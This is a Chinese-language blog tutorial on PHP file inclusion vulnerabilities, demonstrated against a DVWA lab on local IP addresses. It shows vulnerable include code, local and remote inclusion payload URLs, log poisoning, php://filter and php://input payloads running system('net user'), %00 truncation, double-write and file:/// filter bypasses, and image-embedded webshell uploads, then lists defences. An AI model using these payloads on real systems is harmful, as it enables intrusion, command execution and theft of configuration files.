Fork me on GitHub

文件包含漏洞

包含漏洞

包含漏洞简介

包含操作,在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状,很多初学者认为包含漏洞只出现PHP语言之中,殊不知在其他语言中也可能出现包含漏洞。这也应了一句老话:功能越强大,漏洞就越多。

包含漏洞的原理就是:当一个服务端 可被访问文件中 有包含语句的脚本时,如果程序员未对这个文件进行严格过滤,那我们可以用该文件包含其他不可执行的伪装过的payload文件。因为payload文件被包含后所有内容等于被写入到了可执行的包含文件中,所以我们的payload也就相应地可使用包含文件的语言执行了!

php包含漏洞分类

包含漏洞不是语言的问题,而是人的思维问题!

PHP中的四个包含文件函数include(),include_once(),require()和require_once() 

在使用方式上他主要分为两类:

1、本地包含LIF

2、远程包含RLF 需要

php包含漏洞搜集方式:

1、一般通过代码审计方式来进行判断。直接查找源代码里边的四大包含函数!

例如:在网站目录下有这么一个文件include.php中有这么一小段代码

复制代码
<?php

$filename=$_GET['filename'];

include($filename);

?>
复制代码

那么,我们通过使用url就可以直接使用这个include.php文件直接访问其他任何文件且以php方式打开!

因为include()这样的包含函数会直接将被包含文件内的内容添加到改文件中,而该include.php文件又是PHP文件!那他能不以php方式运行吗?

例如:

192.168.17.170:8080/include.php?filename=./login.jpg

虽然被访问文件为.jpg格式,但是我们可以直接用这种方式访问到登陆页面!(login.jpg是login.php改来的,做实验使用)

ps:这2个涵数include(),include_once()包含的文件有代码错误也会执行,require()和require_once()遇到错误退出

2、当我们访问页面时,发现url包括:?string=string.php时,可以尝试上传一张图片,然后使用./或者../图片文件名代替string.php来进行访问!如果可以访问则为包含漏洞。

PHP包含实例:

PHP本地包含实例:

首先上传一个带一句话木马的图片到Web站点上面,其次通过存在包含漏洞的页面来包含刚上传带一句话木马的图片,最后一定要注意相对路径。

PHP远程包含实例:

首先打开C:\php\php-5.2.14-Win32\ php-apache2handler.ini 文件(大家的文件路径不一定是这个),找到 allow_url_include=off这行,把off改成on,意为允许url有包含功能。

 

 包含漏洞文件上传技巧:

 一般菜用一句话木马与图片绑定上传(推荐一款工具,edjpgcom.exe)

在上边文件上传中我们也提到了!嵌入图片的payload是不可直接执行的,必须使用包含方式或者%00截断执行。

 

 

 包含日志文件

当某个文件存在本地包含漏洞,却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用。

这时攻击者就有可能会利用apache等中间件的日志文件来入侵。

 例如:

Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中 。

先开启PHPstudy日志记录功能:点击其它选项菜单,打开配置文件http.conf,打开httpd.conf配置文件第299行,去掉customlLog"logs/access.log"common的注释。

url上传payload,虽然上传失败,但是payload上传错误信息依然被记录达到服务端端日志中!

然后再用include文件包含错误日志文件或者访问日志文件:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=../../../../Apache-20\logs\access.log

PHP包含文件读写 

php包含读文件

http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

php:(PHP协议)    //filter(过滤筛选)     /read(读模式)    convert.base64-encode/resource(进行base六十四位加密)  x.php(我们要读取的文件)

ps:因为文件中存在一些尖括号之类的特殊符号,如果不进行base64位编码,会报错!

该读取不支持php低版本,所以我们只能将其切换为5.5.38版本(win2003)不支持该版本!

访问URL,得到经过base64加密后的字符串:

经解密还原得到如下:

php包含写文件

构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且抓包提交post数据为:<?php system('net user');?>或:<?php system('netstat -n')>

ps:只有在allow _url_include为on的时候才可以使用

如果想查看回显结果那必须在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini打开,查找display_funtions=proc-open,oppen,exec,system…….删掉system重启apache。如果没有,那就说明没有被禁用,呢么我们直接使用就行。

以post提交方式,不支持get。

依然是php协议

包含绕过

 包含截断绕过

复制代码
<?php

if(isset($_GET['page'])){

include $_GET['page'] .".php" ;

}else{

include 'home.php';

} ?>
复制代码

这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了,比如:

index.php?file=info.txt//////////////…………超过一定数据的/。

indes.php?page=777.jpg%00

ps:%00是为了取消include $_GET['page'] .".php" 得包含漏洞的防御!

 

str_replace函数绕过

使用str_replace函数是极其不安全的一个替换函数,因为可以使用双写绕过替换规则。所以新版本php也不再支持。 例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://替换掉,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。 同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

源代码:<?php

复制代码
// The page we wish to display
$file = $_GET[ 'page' ];

//  Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../","..\""),"",$file );
?>
复制代码

1、本地文件包含 http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini

2、绝对路径不受任何影响 http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

3、远程文件包含 http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

fnmatch函数绕过

第一眼看上去根本就没有漏洞!然而

if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名file开头)时才抛出错误,

反之意思,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)!漏洞就再&&

构造url http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini 成功读取了服务器的配置文件

php内置协议,不同协议绕过

PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。 具体协议请参照http://www.php.net/manual/zh/wrappers.php。

glob可以用get方式进行post请求

 文件包含漏洞的防御方式:

白名单漏洞防御(指定包含文件,甚至将文件位置固定直接访问,不要动态包含)

黑名单防御时使用or而非&&(过滤掉. / \ 和一些协议和函数)

升级php版本,开启magic_quotes_gpc=on配合.php防御

不需要allow_url_include为on是,关闭它,且在php.ini里边禁止system(禁掉了远程包含,尽量将需要包含的文件下载到本地)

在php.ini配置文件中利用open_basedir配置访问的区域,及时防不住,也不能任其访问其他敏感配置文件

对返回的内容进行识别 

posted @ 2020-12-25 15:21  子墨·咖啡  阅读(14)  评论(0)    收藏  举报